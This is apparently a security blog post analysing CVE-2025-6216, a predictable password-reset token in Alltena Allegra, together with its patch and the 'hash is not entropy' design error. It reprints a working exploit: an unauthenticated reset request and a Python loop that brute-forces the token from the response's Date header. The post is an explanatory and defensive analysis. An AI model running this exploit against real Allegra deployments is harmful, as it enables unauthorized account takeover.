The function whose name is the bug
The Nuclei template that lands the chain (projectdiscovery/nuclei-templates · code/cves/2025/CVE-2025-6216.yaml) is two stages. The first is one HTTP request:
POST /resetPassword.action HTTP/1.1
Host: allegra.victim.tld
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
[email protected]&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
/resetPassword.action is a Struts 2 action handler. The appActionID parameter and the _dc cache-buster (an ExtJS convention) place this in an old enterprise Java stack, the sort of codebase whose package names still read com.trackplus.app.logon because Alltena was Trackplus before the rebrand. The handler accepts an arbitrary email, generates a reset token, mails the user a link, and returns {"success":true,"emailSent":true}. No authentication. No rate-limiting visible in any externally observable behavior.
The second stage of the Nuclei template is a Python loop. Read it. The thirty lines below are the entire weaponizer:
import requests, hashlib, os
from email.utils import parsedate_to_datetime
def main():
BASE_URL = os.getenv("BaseURL")
date_header = os.getenv("date_header") # captured from POST response
server_time = parsedate_to_datetime(date_header)
server_time_ms = int(server_time.timestamp() * 1000)
expiry_time_ms = server_time_ms + 28800000 # +8 hours
base_expiry_sec = (expiry_time_ms // 1000) * 1000
for ms in range(1000): # all ms within that second
candidate_expiry_ms = base_expiry_sec + ms
token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
r = requests.get(test_url, allow_redirects=False)
if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
print(test_url)
return
Two things are happening in that loop, and both belong on the record.
The first: the loop guesses the integer the server passed to String.valueOf() before SHA-256. The integer is currentTimeMillis() + 8h. The Date: header from the same response that issued the token tells the attacker the high-order bits, the second the handler ran. The thousand iterations enumerate the millisecond inside that second. Every guess is a deterministic SHA-256 hash plus one HTTP GET. Roughly a thousand requests per account.
The second: the loop confirms a hit by string-matching com.trackplus.app.logon.ResetPasswordApplication in the response body. That class name is the Java fully-qualified name of the page Allegra renders on a valid ctk= parameter, the password-reset confirmation form. The application class name is leaking into the rendered HTML. That is not the bug. That is the oracle the bug runs against.
Allegra's password-reset URL, in production, looks like:
GET /resetPassword!confirm.action?ctk=8b9a7c4e...c7a9
ctk is the only authenticator on the URL. There is no signed envelope, no separate user identifier, no per-request nonce, no anti-enumeration delay. The token IS the credential. The token is SHA-256(str(epoch_ms_when_this_token_will_expire)).
The Date header is not optional
Alltena's release notes describe the bug as "predictable time values." The CVE record describes it as "reliance upon a predictable value when generating a password reset token." Both are true. Both leave out the part that makes the chain a thousand requests instead of a billion.
The token's input space is bounded by how far in the future the expiration can be from "now." Allegra hardcodes that distance: eight hours. Eight hours is 28,800,000 milliseconds, roughly 25 bits of search space. SHA-256 of a 25-bit integer is recoverable on a laptop in seconds, no network involved. That alone would be a CWE-640 finding worth writing down.
What the PoC does is collapse the search space before SHA-256, by reading the Date: HTTP response header from the POST that created the token. RFC 7231 says servers SHOULD send Date: on every response and MUST when they have a reliable clock. Apache, Tomcat, every reverse proxy in front of Allegra, every load balancer the customer might run, all of them stamp Date: automatically. There is no Allegra configuration that turns it off without breaking conformance, because Allegra is not the layer that sets it.
The attacker reads the response's Date: header, parses to the second, computes (date_seconds + 28800) * 1000, then iterates the thousand millisecond candidates inside that second. The window between the handler sampling currentTimeMillis() and the response writer flushing the Date: header is on the order of single-digit milliseconds, well inside the thousand-millisecond search. ~25 bits of unknown collapses to ~10 bits, and the ten remaining bits get spent at one HTTP GET per bit-power.
The Allegra administrator running this on-prem cannot turn off the Date: header. They can put a reverse proxy in front and rewrite it, in theory, breaking conformance for clients that depend on it. They cannot fix the bug from the deployment layer. The bug is in the token construction.
The patch is to use a random number
Alltena patched on 2025-06-16 in 8.1.4 and a backport to 7.5.2.70. The release notes do not describe the fix in code terms. They describe what was wrong, not what they did about it. The shape of the fix is not in dispute, however, because there is exactly one fix for "the token is a hash of a timestamp," and it is "stop hashing a timestamp; generate the token with SecureRandom." Java's SecureRandom.nextBytes(new byte[32]), hex-encoded, produces a token with 256 bits of entropy and no relationship to any clock. That fix is one method call. The handler that called calculateTokenExpDate to derive the token is now expected to call calculateTokenExpDate only to derive the expiration date, which was the function's name's job from the beginning.
The function name is the artifact that earns this paragraph: calculateTokenExpDate. It is not generateResetToken. It is not mintResetToken. It is the function whose name names the expiration date. Somewhere upstream, a developer wrote the line that shipped:
long expDate = calculateTokenExpDate();
String token = sha256(String.valueOf(expDate));
The function returned what its name said it would: an expiration date. The next line did not call a separate token generator. The next line hashed the expiration date and called the result the token. Whoever wrote that next line made a single choice with no obvious second option, and shipped it. The function's name tells you exactly the moment the design error landed.
Hash is not entropy
This is the pattern, named so we can refer back to it: hash-is-not-entropy.
A security token is derived by running a cryptographic hash over a low-entropy value, a timestamp, a counter, a username, an autoincrement primary key. The hash function is selected because its output looks random. The cognitive error is treating the hash's appearance of randomness as randomness. SHA-256 is a deterministic function. It maps inputs to outputs. The output's entropy is bounded by the input's entropy. A 30-bit input produces a 30-bit token regardless of how the bits are spread across 256.
The developer who wrote sha256(String.valueOf(expDate)) was reasoning about the difficulty of inverting SHA-256, which is genuinely high. Inverting SHA-256 is not what an attacker needs to do here. The attacker needs to enumerate the inputs, hash each, and check. That is computation in the forward direction, which is what hash functions are designed for, and which a laptop does in microseconds per call.
The Allegra case is the canonical version. We will write more posts under this slug. Predictable invitation tokens generated by hashing email + counter. Predictable session IDs generated by hashing connection-time. UUIDv1 (timestamp-derived) hashed and treated as a secret. They are all the same shape. The hash output looks unguessable. The input is guessable. The output's entropy is the input's entropy, redistributed across more characters.
The defender-side rule is one sentence: the input to a hash that produces a security token must itself be a high-entropy secret, OR the secret must come from SecureRandom and the hash is not in the construction. There is no third option. Hashing a low-entropy public value to produce a "secret" is a category error.
What the customer was sold
Alltena's homepage markets Allegra to "Electronics Industry," "Engineering," "Financial Services," "Government and Administration," and "Defense Industry." The pitch on the front page reads "Full Data Sovereignty, You can self-host Allegra. That way your data stays completely under your control." The implicit promise of self-hosting is that the customer's threat model is bounded by the customer's network perimeter, that an Allegra installation behind a corporate firewall is reachable only by parties the customer admitted in.
CVE-2025-6216 is reachable from any host that can speak HTTP to the Allegra server. For a self-hosted defense or government deployment behind a perimeter, that constrains the attack surface to the people the perimeter was supposed to keep out plus everyone the perimeter was supposed to let in, every contractor, every VPN'd remote employee, every machine on the trusted segment. The cost of an admin account takeover from the trusted segment is one POST and a thousand GETs. The "data sovereignty" the customer paid for survives this CVE in name. It does not survive in mechanism.
The CVE was reported by Swagat through the Trend Zero Day Initiative, assigned ZDI-CAN-27104 internally, and disclosed coordinated on 2025-06-19 as ZDI-25-410, three days after Alltena shipped 8.1.4 on 2025-06-16. The disclosure timeline is clean. The codebase that produced it is the part the disclosure timeline does not address.
What is not in the post
There is no Remediation section. The remediation is "upgrade to 8.1.4 or 7.5.2.70," which is in every advisory that mentions this CVE, and which the customer who reads this post will have done before they got to the bottom. There is no CVSS recitation; the CVSS is on NVD. There is no Impact section; the impact is admin account takeover from any host that can reach /resetPassword.action, which is the same impact named in the first paragraph.
What this post adds is the function name and what hashing its return value means. The function is named calculateTokenExpDate. The token is the hash of its own expiration date.
PoC: projectdiscovery/nuclei-templates · CVE-2025-6216.yaml
Hash functions do not create randomness. They redistribute it. There was no randomness to redistribute.